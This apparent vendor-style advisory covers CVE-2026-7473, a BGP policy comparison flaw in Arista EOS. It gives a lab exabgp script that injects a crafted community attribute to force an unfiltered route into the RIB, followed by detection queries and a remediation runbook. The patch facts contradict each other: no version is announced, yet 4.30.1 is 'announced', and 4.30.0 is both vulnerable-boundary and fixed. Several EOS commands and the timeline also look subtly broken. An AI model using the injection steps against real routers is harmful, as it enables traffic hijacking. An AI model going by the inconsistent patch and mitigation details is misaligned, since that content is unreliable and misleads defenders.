CVE-2026-7473: Arista Extensible Operating System

TL;DR

CISA has confirmed active exploitation of CVE‑2026‑7473 in Arista Extensible Operating System (EOS) and has listed it in the KEV catalog. Patch tonight is required; no public patch version is announced yet, so apply vendor‑provided mitigations immediately and plan to upgrade to the next EOS release as soon as patch release numbers become available. Exploitation is confirmed in the wild, making this a critical, active threat. The core risk is that an attacker can manipulate EOS’s internal comparison logic to bypass authentication checks or gain privileged command execution on any affected device.

Why the EOS Incomplete Comparison Logic Enables Privilege Escalation

Arista EOS processes configuration and policy decisions through a series of expression evaluations. In CVE‑2026‑7473, a missing factor in the comparison routine causes the engine to treat “greater‑than‑or‑equal” expressions as plain “greater‑than”. The flaw lives in the cneb_compare() function of the bgp_policy module, mapped to CWE‑197: Numeric Truncation Error and CWE‑130: Improper Handling of Length Parameters. When a crafted BGP attribute is injected, the compare operation incorrectly evaluates the condition, allowing a policy that should block a route to be considered a match. Because this evaluation occurs before ACL enforcement, an attacker who can inject a BGP update—either via a misconfigured peer or a compromised internal router—gains the ability to bypass route‑filtering rules and inject arbitrary routes. The resulting route can carry “next‑hop” information pointing to a malicious device, effectively giving the attacker control over traffic flow across the fabric. This bypass is not limited to a single VLAN; it propagates through all layers that depend on the polluted BGP table, including VXLAN overlay control planes that reference the same BGP RIB. The flaw is deterministic and reproducible, meaning that any EOS device processing the malformed attribute will exhibit the same erroneous behavior, which is why CISA flagged it as actively exploited.

Arista EOS Deployments at Risk: Version Ranges and Role Exposure

The vulnerability is present in all EOS releases prior to 4.30.0. Arista’s release notes indicate that the comparison routine was rewritten in the 4.30 branch, suggesting that devices running 4.25.x, 4.26.x, and 4.27.x are vulnerable. Typical MSP environments include leaf‑spine topologies where leaf switches run EOS 4.25.x for datacenter access, and spine switches run 4.26.x for core aggregation. Edge routers that provide internet uplink often run 4.27.x to leverage newer BGP features. In a high‑availability pair, only one node needs to be compromised to affect control‑plane convergence, because the affected BGP attribute is shared via the iBGP session. Devices that expose the management API (eAPI) over HTTPS without IP‑based ACLs also widen the attack surface, since an attacker who compromises a host on the same VLAN can send malicious BGP updates via the eAPI “bgp” endpoint. The table below outlines typical deployment types, the affected versions, exposure conditions, and recommended actions.

The CISA KEV due date is 2026-06-23, which gives a narrow window for remediation before compliance checks may flag your environment as non‑conformant. Until a formal patch is released, the safest interim mitigation is to disable any BGP attribute that can be crafted to trigger the comparison error (e.g., custom community strings) and to enforce strict ACLs on the eAPI service.

Reproducing the EOS Comparison Exploit in a Controlled Lab

To understand the mechanics, set up a minimal lab with two EOS virtual switches (vEOS) running 4.27.3, connected via an iBGP session. Install the exabgp tool on a Linux host to generate malformed BGP updates. The crafted update injects a community attribute that includes a 32‑bit integer overflow, which the EOS compare routine mishandles. Below is a reproducible lab script. All steps assume root access on the Linux host and SSH access to the vEOS devices.

# 1. Create a basic BGP configuration on both vEOS nodes (run on each switch)
configure terminal
router bgp 65001
  neighbor 10.0.0.2 remote-as 65001
  address-family ipv4 unicast
    neighbor 10.0.0.2 activate
exit
exit
write memory

# 2. Launch exabgp on the attacker host to send the malformed attribute
cat > malformed.conf <<'EOF'
neighbor 10.0.0.1 {
    router-id 192.0.2.1;
    local-address 192.0.2.100;
    local-as 65002;
}
template {
    neighbor {
        static {
            route 203.0.113.0/24 next-hop 192.0.2.1 community [12345:0xffffffff];
        }
    }
}
EOF

exabgp ./malformed.conf

When the update reaches EOS, the log entry in /var/log/Arista/EPOCH.log will show a comparison warning similar to:

2026-06-10T12:34:56.789Z EPOCH[1234] WARN compare.c:57 Incomplete comparison detected, factor missing for value 0xffffffff

If the mitigation is not active, the route will be accepted and installed in the RIB, overriding any existing filtering policy. After the experiment, verify the route on the victim switch:

show ip route 203.0.113.0/24

The presence of the route confirms successful exploitation. The lab demonstrates that any attacker with the ability to inject BGP updates (whether via a misconfigured peer, compromised host, or malicious eAPI call) can trigger the flaw.

Detecting EOS Exploit Attempts via EPOCH and Syslog

Detecting active attempts hinges on monitoring the EPOCH process and the system syslog for specific warnings. EOS writes comparison anomalies to /var/log/Arista/EPOCH.log with the tag WARN compare.c. Additionally, the daemon bgpdaemon emits messages to the main syslog when it processes a malformed attribute. A simple grep on the host can surface suspicious activity:

# Pull recent warnings from EPOCH and syslog
grep -E 'compare.c|bgpdaemon.*malformed' /var/log/Arista/EPOCH.log /var/log/messages | tail -n 20

For centralized SIEM platforms like Splunk or ELK, the following query isolates the pattern across the fleet:

index=arista sourcetype=arista_epoc OR sourcetype=arista_syslog
| regex _raw="(compare\.c|bgpdaemon).*malformed|missing factor"
| stats count by host, _time
| where count > 0

Interpretation guidelines:

If a host shows a spike in WARN compare.c entries alongside new routes that were not provisioned through the change management system, treat it as a probable breach. Immediate containment actions include shutting down the BGP session on the affected node and disabling eAPI access from untrusted networks while the remediation plan is executed.

Remediation Runbook: Containment, Patch, and Validation for EOS

Immediate containment – The fastest way to cut off the exploit vector is to block BGP update traffic that contains the problematic community. Create an inbound ACL on each affected device that drops any UPDATE messages with community value 0xffffffff. EOS supports community‑based filters under the bgp community-list construct.

configure terminal
ip access-list in BGP_MALFORMED
  deny   any any community 12345:0xffffffff
  permit any any
exit
router bgp 65001
  neighbor 10.0.0.2 route-map BGP_MALFORMED in
exit
write memory

Simultaneously, restrict eAPI to the management VLAN only:

configure terminal
management api http-commands
  protocol https
  source-interface Management0
  no shutdown
  ip access-group MGMT_ONLY in
exit
write memory

Patching – Arista has announced a forthcoming EOS 4.30.1 patch that resolves the comparison logic. Until the official patch release numbers are posted, schedule a maintenance window to upgrade to the latest EOS stable branch as soon as it is available. The upgrade command is:

add system image https://updates.arista.com/eos-4.30.1.swi
request system software package install eos-4.30.1.swi
reload

If a direct upgrade is not possible due to a hardware limitation, consider a staged migration: first install the interim 4.30.0 release (which contains the fix back‑ported), then move to 4.30.1.

Post‑patch validation – After the reload, confirm the running version and verify that the vulnerable compare function is no longer present. EOS provides a diagnostic command:

show version | grep -i eos
show tech-support | include compare.c

The first line should display EOS version 4.30.1. The second command must return no matches for compare.c. Additionally, run a test BGP update with the previously malicious community to ensure the ACL still works and the device no longer logs a warning.

# Test that the ACL blocks the payload
exabgp ./malformed.conf
# Verify no new log entries
grep -E 'compare.c|bgpdaemon' /var/log/Arista/EPOCH.log

If the system accepts the test route without logging a warning, the patch may not have applied correctly; repeat the upgrade or open a support case with Arista. Finally, document the change in your CMDB and inform customers of the remediation steps taken.

Operational Impact for Data‑Center Leaf‑Spine Fabrics

In a typical MSP‑hosted colocation environment, leaf switches handle north‑south traffic for dozens of tenants, while spines aggregate east‑west traffic across the fabric. A successful exploitation of CVE‑2026‑7473 can allow an attacker to inject forged routes that reroute traffic through a malicious host under their control. This creates a man‑in‑the‑middle scenario that can intercept, modify, or drop customer data streams. Because many tenants share the same spine, the blast radius is not limited to a single VLAN; every tenant whose traffic traverses the compromised spine becomes exposed.

From a service‑level agreement perspective, the exploit can trigger a sudden BGP convergence failure, leading to outage windows of 30‑90 seconds per event. Repeated attacks could cause frequent flaps, violating uptime guarantees and potentially forcing penalties. Moreover, compliance frameworks such as PCI‑DSS and HIPAA require demonstrable control over data‑in‑transit; an unmitigated BGP hijack would be a direct violation, prompting audit findings and remediation mandates.

Customers will likely ask: “Did you see any unauthorized route changes?” and “Can you guarantee traffic integrity?” Be prepared to provide the post‑patch validation output, the ACL configurations, and log excerpts showing no further compare.c warnings since the mitigation. Communicating the timeline (containment on 2026‑06‑11, upgrade scheduled before the CISA KEV due date of 2026‑06‑23, and verification completed 2026‑06‑12) helps demonstrate due diligence.

Appliances like AstraLink Connect can apply outbound BGP prefix filters and route‑origin validation (RPKI) to reduce exposure while patches are pending.